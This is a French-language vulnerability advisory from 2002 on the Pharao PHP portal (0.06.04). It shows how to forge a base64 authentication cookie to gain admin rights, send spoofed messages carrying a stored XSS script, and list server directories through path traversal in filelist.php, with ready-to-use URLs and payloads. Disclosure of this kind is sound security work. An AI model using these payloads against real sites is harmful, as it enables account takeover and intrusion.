Pharao ****** Produit : ********* Pharao http://pharao.sourceforge.net Versions : ********** 0.06.04 (et moins ?) Date : ****** 14/04/02 Problemes : *********** - Envois de messages anonymement - Accès aux comptes users/admins - XSS - Path disclosure - Visualisation de l'arborescence du HD - Accès anonyme à des parties resevervées aux membres Developpement : *************** Pharao est un portail contenant page de downloads, liens, articles, news, pages membres; profil messages privés,... Coomençons par voir la maniere que le site utilise pour authentifier ses membres. Le code se trouve dans user.php : ------------------------------------------------------------------------------- if ($unick != $lnick) { $the_content = translate('nickname unknown'); } elseif ($upass != $lpass) { $the_content = translate('wrong password'); } else { list($ulanguage) = mysql_fetch_row(mysql_query("SELECT locale.llanguage FROM locale WHERE locale.llocale = '$ulocale'")); $cookie = base64_encode("$unick;$uname;$uhome;$umail;$ustyle;$utheme;$ulocale;$ulanguage;$uuserclass"); $userinfo = explode(';', base64_decode($cookie)); setcookie('pharao06', $cookie, time() + 3600); } ------------------------------------------------------------------------------- Un cookie (nommé phara06) contenant le pseudo, le nom etc est donc envoyé, crypté en base64. Le probleme, avec le cryptage en base64 est que c'est facilement cryptable et décryptable, comme on peut d'ailleurs le voir dans ce code : base64_decode($cookie), base64_encode (...). On a donc l'accès en envoyant ce cookie sur le site. Maintenant va nous être utile une autre faille. L'option permettant d'afficher la liste des membres est censée n'être reservée qu'aux membres. Hors il suffit de taper lurl /user.php?op=list&letter=all pour les voir tous s'afficher. Sur cette liste se trouve les logins et noms admins et users, tout ce qu'il faut donc pour rentrer dans leur compte. Un exemple... si je veux lire les messages du membre 'admin', il me suffit d'aller regarder son nom dans la liste (disons 'pharadmin'), et d'envoyer le cookie avec comme nom pharao06 et comme valeur : admin;pharadmin;;;;classic_blue;en_GB;english;2 , crypté en base64 (ce qui donne YWRtaW47cGhhcmFkbWluOzs7O2NsYXNzaWNfYmx1 ZTtlbl9HQjtlbmdsaXNoOzI=), sur le site. Quand j'envois ce cookie sur admin.php, je ne suis pas admin, alors que dans la liste il est clairement mis que ce pseudo est admin. Dans admin.php, on peut voir la ligne : if ($userinfo[8] >= 5) { $userinfo est le contenu du cookie, donc userinfo[8] est son dernier element. On aura donc le droit admin en mettant comme valeur à crypter dans le cookie : admin;pharadmin;;;;classic_blue;en_GB;english;5 . A partir de là, même plus besoin d'utiliser le compte d'un autre pour etre admin, il suffit juste de remplacer le 2 par un 5 (ou autre chiffre + grand). Petite precision toujours en rapport avc les cookies; si on envois le cookie pharao06=nimportequellevaleur sur admin.php, on aura une erreur du style : ------------------------------------------------------------------------------- Warning: Failed opening 'languages//language.php' for inclusion (include_path='.:/usr/local/lib/php') in /home/PATH/admin.php on line 14 1064 : You have an error in your SQL syntax near '' at line 1 1064 : You have an error in your SQL syntax near 'ORDER BY navigation.norder, navigation.ntitle' at line 1 welcome ... to the ... pharao 1064 : You have an error in your SQL syntax near '' at line 1 1064 : You have an error in your SQL syntax near 'ORDER BY navigation.norder, navigation.ntitle' at line 1 box 1064 : You have an error in your SQL syntax near 'AND ( box.bcontext = '' or box.bcontext LIKE '%admin%' ) AND ( box.blanguage = '' at line 1 Fatal error: Call to undefined function: translate() in /home/PATH/pharao/admin.php on line 550 ------------------------------------------------------------------------------- Rendons-nous maintenant à la page d'ecriture de message, message.php?op=create. Si on envois le script à quelqu'un, il verra s'afficher son cookie (phara06) dans une popup, à la lecture du message. On peut donc executer n'importe quel javascript. Par exemple, le javascript à envoyer pour recuperer le cookie (bien que ce soit inutile dans ce cas) aurait été : Vous aurez donc compris que l'url pour envoyer un message est : message.php?mid=&mdestinationid=DESTINATAIRE&msubject=SUJET&mcontent=MSG&op=update&update=create&submit=speichern Cela est plus exactement l'url simplifiée, voici les valeur que contiendrait l'url complete : mid= ? mdestinationid=DESTINATAIRE msubject=SUJET mcontent=MESSAGE authorid=AUTEUR moderatorid=MODERATEUR op=update update=create submit=speichern Ce qui nous interesse est bien sûr la valeur athorid, qui définit l'auteur du message. Dans le formulaire d'envois, on nous empeche en html de changer l'input contenant notre pseudo, mais rien ne verifie si le pseudo est bien le bon dans l'url ! Il suffit donc de rajouter à l'url vu plus haut authorid=NIMPORTEQUELPSEUDO pour envoyer un message avec ce pseudo et donc completement anonymement. Exemple : Pour envoyer un message à JOE venant de JACK, et qui affiche le cookie à l'ouverture, il faudra taper l'url : message.php?mid=&mdestinationid=JOE&msubject=hello &mcontent=%3Cscript%3Ea:='Ton%20cookie%20est%20'%2Bdocument.cookie%3B%20alert(a)%3B%3C%2Fscript%3E &authorid=JACK&moderatorid=JACK&op=update&update=create&submit=speichern Une dernière faille se trouve dans le fichier filelist.php . Il est censé afficher un fichier, ou la liste des fichiers d'un dossier choisit par le webmaster. Mais ce dossier en question peux être changé par n'importe quel user. Il y a un filtre pour empecher de changer le fichier à ouvrir, mais pas pour le dossier. On peut donc lister le contenu de tout les dossiers du site et du HD Exemples : /filelist.php?op=view&ttitle=No%20Security&tcontent=admin /filelist.php?op=view&ttitle=No%20Security&tcontent=../../../../.. NB : Une url pour crypter/decrypter le cryptage base64 : http://membres.lycos.fr/aaoaoaa/YmFzZTY0.html Patch : ******* / Greetz : ******** / Credits : ********* frog-m@n leseulfrog@hotmail.com